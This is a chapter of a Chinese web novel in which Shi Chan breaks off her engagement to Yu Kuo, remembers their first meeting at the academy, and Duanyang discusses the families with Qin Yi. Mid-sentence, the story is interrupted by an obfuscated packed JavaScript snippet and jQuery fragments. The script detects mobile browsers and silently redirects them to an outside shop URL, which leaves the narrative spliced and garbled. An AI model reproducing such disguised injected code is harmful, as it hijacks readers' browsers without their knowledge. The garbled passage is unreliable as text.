20. 第20章 琵琶弦上说相思

作品:《质子与公主

    虞括眉头微皱,“你这是什么意思?”


    这本就是给她的及笄礼物,又拿走送出去的东西再收回的道理。


    史婵嘴角扯起一个弧度,“我知道你其实不情愿和我结亲,我也……不想了。我会和我爹说清楚的,到时候由史府退婚,你父亲也不会责怪你。”


    说罢,史婵微微欠身,就要作别。


    还君明珠,互不相干,她连最后的退婚也替他想好。


    这桩婚事,虞括确实不太愿意。一直闹在一起的玩伴突然变成自己的未婚妻子,怎么想怎么别扭。所以无论何人问起,或是道一句“青梅竹马,郎才女貌”,他都会回答是家中安排。


    然而,今时今日她要说散,他们就要彼此自由,虞括心中却浮起一股怅然若失,比摔碎美人觚还要心痛。


    虞括轻斥:“史婵,不要说胡话!”


    他身边怎么尽是自作主张的人,订婚时因为他没有严词拒绝也就算了,退婚也不用征求他的意见吗?


    不,她不是胡言乱语,只是不想再勉强。


    见虞括要逼近,史婵抬手阻止他,“你不要过来!”


    不要过来,她怕她又会动摇,像之前无数次一样。


    史婵以为,她只要能和他在一起就好了,就算是靠婚姻绑在一起。可事实并不非如此。这份感情排他且自私,而且需要他的回应。再这样下去,她总有一天会变成他口中的怨妇。


    她不希望自己成为那样的女人,也不希望这份感情被这样消磨殆尽。他以后也会有自己喜欢的人,如那个歌女,而非她。


    所以这样终结是最好的选择。


    但还是忍不住想哭。


    史婵不想虞括看见自己懦弱的样子,再不敢多待,转身便从紫藤花架下穿了过去,眼角水光闪烁着温暖的阳光与浅浅紫色。


    八岁之前,史婵的父亲一直戍守西北边陲,史婵和二哥一起在草原与大河中长大,也觉得眼泪不轻弹。她又是家中唯一的女孩,父母兄长疼惜她都来不及,又怎么会有伤心事,所以她基本没哭过。


    除了刚进太学那天。


    上京的贵女郎君并没有那么好相处,笑话她粗鲁俗气。史婵气不过,和他们大打出手。但是他们人多势众,她一点好处没讨到,被扯散了头发,揪掉了耳坠,还划破了耳垂,血流不止。


    他们也不见得有多好,被她打肿了鼻子,抓破了面皮。


    史婵甚是嫌恶地把指甲里的血丝抹到衣服上,一点都不退缩。


    他们还要来,突然有人冷笑一声,一个好听的声音响起:“你们竟然欺负一个小女孩儿。”


    随后,一个蓝衣少年从旁边走来,一边摇着扇子一边挡在史婵面前。


    为首的张郎顶着一张青肿的脸,不甘心地问:“虞括,你看清楚,到底谁欺负谁?”


    少年抬起扇子,遮住半张脸,神情莫辨,但站在他斜后方的史婵看得很清楚,他竟然笑了,略有嘲讽的意味,在打架控诉的严肃场面。


    “等下祭酒要来了。”他说。


    一句话就吓得那群人如鸟兽散,史婵也要走,却被他拉住,问她:“你去哪里?”


    “等下祭酒要来了。”史婵重复他的话。


    他轻笑,甚是得意地说:“我骗他们的。”


    虞括在一边看他们打架,她那么勇猛,原来也怕祭酒惩罚。


    虞括收起扇子,拿出手帕,轻轻替她抹掉耳垂上的血珠,问她,“疼吗?”


    史婵心中的委屈一时上涌,眼泪像断线的珠子流个不停,“疼,好疼!”


    “好了,知道了,别嚷了。”他颇为无奈地替她又擦干眼泪,待她耳上血止,从地上捡起她的耳坠子,用绢子包起来还给她,又要拉着她走。


    “去哪儿?”史婵问。


    “太医署。”他回答。


    “可血已经止住了。”


    “傻丫头,不是流血才要看大夫的,你身上还有其他伤吧。”


    “这是逃课。”


    “你跌了一跤,我带你去看大夫,老师开明,不会追究的。”他理由都为她想好了。


    “可……”不等她再说什么,少年已经拉着她去了太医署,还赔了她半天,直到史家派人来接人。


    虞括却并没有再回太学,而是在外面玩乐了剩下的半天。


    分明是他想逃课,史婵揉着受伤的肩膀,如是想。


    可不管如何,她都应该谢谢他。


    虞括,她记住他了。


    抱着这样的心情,史婵开始关注虞家的那个小郎君。她知道他生性温柔多情,见谁有难哭泣,都会帮扶一把。她也知道他喜欢听琵琶,所以开始学习。


    她希望他们能有擦肩而过的缘分,然而天不遂人愿,那一年他们毫无交集,他甚至不知道她的名字。


    直到九岁那年,她和端阳一起


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17468361|201345||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    去虞府给虞括祖父祝寿。


    虞括见她,毫无反应,好像已经记不起她。史婵心中略有失落,又觉得这样很好。那次打架初遇,要多狼狈有多狼狈,他不记得正好。


    就当这次是他们的初遇,史婵十分礼貌地与他道安。


    然而他们性格真的不太和,不出一个月,两个人的秉性都暴露无遗,打骂才是常态。


    可她还是喜欢这个温柔少年。


    然而今天,他们之间所有的嬉笑怒骂都结束了。


    史婵趴在端阳怀里,眼泪打湿了端阳的裙子,哭诉:“芝儿,我好难过。”


    端阳听着婵姐哑哑的哭声,也觉得揪心。她第一次见婵姐哭,却不知道怎么安慰,只能拍着史婵的背。


    一直到史婵哭到没有力气,昏昏睡去,端阳才从屋里出来。


    她掩好门,见秦异站在外面,小声问:“虞括走了吗?”


    秦异点头,“拿着琵琶回去了。”


    虞括也曾在这门外站了一会儿,听到史婵声嘶力竭的哭声,最终也没上前,黯然离开。


    这两人似乎都没有从分开中得到解脱,反而惆怅满怀。


    秦异无法理解,问端阳:“婵姬心中这样难舍,为何还要退婚?”


    如果分开会让自己难过,为什么要分开?一个歌女,又何至于此?


    果然情爱难解。


    端阳摸着自己被史婵泪湿的衣料,道:“虞括浪荡惯了,而婵姐又性子刚烈,是不会接受虞括纳妾的。他们本来就没多合适,长痛不如短痛吧。”


    位崇性烈,端阳又何尝不是?端阳和史婵,是一样的,她们要忠贞的感情,可谈何容易?幸好端阳生来是公主,只要不和亲,普通驸马是不可以随便纳妾的。


    内心忠贞太难保证,至少名义是忠贞的。


    “舅舅也不会希望婵姐以后难过的。”端阳又补充了一句。


    “舅舅?”秦异疑问。


    “我没跟你说过吗?”端阳道,“婵姐是我表姐,虞括是我表哥。”


    秦异微讶,“子括与史姬是表兄妹?”


    他可没听说史家与虞家还有这层关系。


    “不,”端阳摇头,“婵姐的父亲和我生母是亲兄妹,虞括的母亲和养育我的六英夫人是亲姐妹,所以他们之间没有亲缘关系。”


    原来如此。一人身系两大家族的端阳公主,及笄之后,一定更引人注目。